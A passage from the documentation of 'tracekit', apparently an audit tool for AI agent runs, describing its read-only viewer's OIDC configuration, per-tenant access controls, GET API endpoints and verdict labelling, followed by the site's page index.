POST /api/why/runs/<id>/tests and /attribute (the token, a same-origin JSON body) and POST /v1/ingest (a
Bearer token only: an --ingest-token, which reads nothing, else the token; why.md). Why logs belong to no tenant, so only the printed token
sees them, never an OIDC session.
tracekit view with a view.logs section reads every log of a central deployment
(deploy-kubernetes.md) and serves its runs to auditors, approvers and operators, read-only.
data_dir: /tmp # the viewer's own; never a signer's
view:
logs: [log-0.dsn, log-1.dsn] # one DSN file per log (its schema), for a role holding READ_GRANTS only
oidc: {issuer: corp, client_id: tracekit-viewer, redirect_uri: https://view.corp.example/callback,
roles: {auditor: ["group:corp/auditors"], approver: ["group:corp/approvers"],
operator-admin: ["group:corp/sre"]}}tracekit view --config viewer.yaml --host 0.0.0.0 --tls-cert tls.crt --tls-key tls.keyEach DSN's role holds tracekit.storage.postgres.READ_GRANTS (SELECT only), so the viewer can't write a log even by
mistake. Each log's verdicts pin the log vkey that log's store holds (or --log-vkey, for every log).
| Session | Runs | Approvals |
|---|---|---|
| auditor (OIDC, the issuer's tenant claim) | its tenant's, read-only | none |
| approver (OIDC, the tenant claim) | its tenant's, read-only | its tenant's, with view.signer (approvals.md) |
| operator-admin (OIDC) | every tenant's, read-only | none |
| the printed token | every tenant's, read-only | none |
The tenant is enforced in every query the viewer makes (a tenant = … condition taken from an auditor's or approver's
session, never from the request), not only on the page: a session of tenant A gets no run of tenant B from a list, a
search, a run's page or a bundle download, even with B's run id. Its only write path is the approval pages.
/runs lists the runs, log by log, newest first, and searches them. Every request is a GET:
| Path | Answers |
|---|---|
/api/runs?run&agent&tenant&since&until&verdict&gaps&denies&approvals&limit&after |
{runs, next}: at most limit (50) runs, each with its log, tenant, agent, first and last event time, record count, gaps, denies, approvals and verdict; next is the after of the next page. since/until are RFC 3339 UTC times; verdict is verified, failed or pending; gaps=1, denies=1 and approvals=1 keep runs that have one; tenant narrows an operator-admin's list. One search query per log per page, plus a reader of each log with matching runs (it reads that log's index). |
/api/run?log&tenant&run&from |
the run's verdict with verify.v2's full report and, only when it verified, 500 of its records from the fromth, with next; each request checks the run again, two at once at most: past that it is answered 503 with Retry-After
|
/api/bundle?log&tenant&run |
the run's .tkb bundle; it shares /api/run's limit, two at once |
A run's verdict is what tracekit verify gives the bundle the viewer exports from the store; a run whose last record no
checkpoint covers yet is pending, and a run that fails shows its failure report and none of its records. Every verdict
carries the label "operator-side view — re-verify with the signed release for evidence": the viewer runs on the
operator's side, so its verdict is not evidence. An auditor downloads the bundle and checks it with tracekit verify
from the signed release, against keys and witnesses they pinned themselves (auditor-guide.md).
The page and API pass the browser surface's checklist (security-checklist.md): strict CSP
with a fresh nonce, every value shown as text, HttpOnly; SameSite=Strict session cookies, and HTTPS off loopback.
Generated from docs/ at v1.5.3. Edit the docs in the repository, not here.
Get started
- Quickstart: the v2 signer
- Quickstarts
- Quickstart: Claude Agent SDK
- Quickstart: a custom agent
- Quickstart: LangChain and LangGraph
- Quickstart: MCP client
- Quickstart: OpenAI Agents SDK
- Coding agents other than Claude Code
- tracekit doctor
- Walkthrough: Tracekit end to end
How it works
- How Tracekit works
- Overview
- The life of a tool call
- The evidence format
- Verification and assurance
- Witnesses and monitoring
- Policy
- Approvals
- Detection and containment
- Capture and completeness
- Custody
- Provenance and tracekit why
- Deployment and isolation
- Storage, durability and performance
- Integrations
- Security model
- Architecture
- tracekit why: architecture
Integrations
- Integrations
- Adapters
- OpenTelemetry
- Remote clients
- Kubernetes agent-sandbox
- agentgateway
- agentsh and Tracekit
- Browser Use
- Claude Agent SDK
- Claude Code's sandbox
- Codex's sandbox
- CrewAI
- Docker MCP Gateway
- E2B
- Falco
- Gemini CLI's sandbox
- Google ADK
- Haystack
- Hermes Agent
- LangChain v1
- LiteLLM
- LlamaIndex
- MCP client
- microsandbox
- Microsoft Agent Framework
- OpenAI Agents SDK
- NVIDIA OpenShell
- Pydantic AI
- sandbox-runtime's proxy on its own
- Strands Agents
- Tetragon
- Vercel AI SDK
- Wassette
Policy and approvals
- Policy reference
- Approvals
- PCM 0.1: proof-carrying messages
- Findings
- tracekit audit
- Reading the model's reasoning
- Incidents and containment
- Webhooks
Deploy and operate
- Deploying the signer
- The signer as a container
- The signer on Kubernetes
- The compose stack
- Identity
- Tool executor
- A2A gateway
- Latent transfers and C2C
- MCP gateway
- LLM gateway
- Egress observation
- Witnesses
- Log monitor
- Record-key issuer
- Signer observability
- Viewer
- Event Horizon
- Viewer 1.4
- tracekit why: causal investigation and replay
- Migrating
- Platforms
Verify the evidence
- Tracekit for auditors
- Reading a v2 verify report
- Evidence format v2
- Auditor guide
- Sample evidence bundle
- Signing
- tracekit graph: what agents did across runs
- What Tracekit guarantees
Security and privacy
- Threat model: the v2 signer
- Threat model: the v1 laptop signer
- HTTP security checklist
- Threat-model review packet
- Privacy
- Known limits and trade-offs
- What's stable
Compliance
- Compliance mapping
- EU AI Act
- ISO/IEC 42001
- NIST AI RMF and the Generative AI Profile
- OWASP Top 10 lists for LLM and agentic applications
Evaluation
Use cases and demos
- Use cases
- Demos
- Agent approvers within bounds
- A production bucket
- Completeness and tamper evidence
- Detection and containment
- Network coverage: an egress observer
- Guardrails: allow, deny, or ask a person
- MCP tools, gated and recorded
- A production volume
- Prompt injection held by provenance
- Why: which input caused the action
Help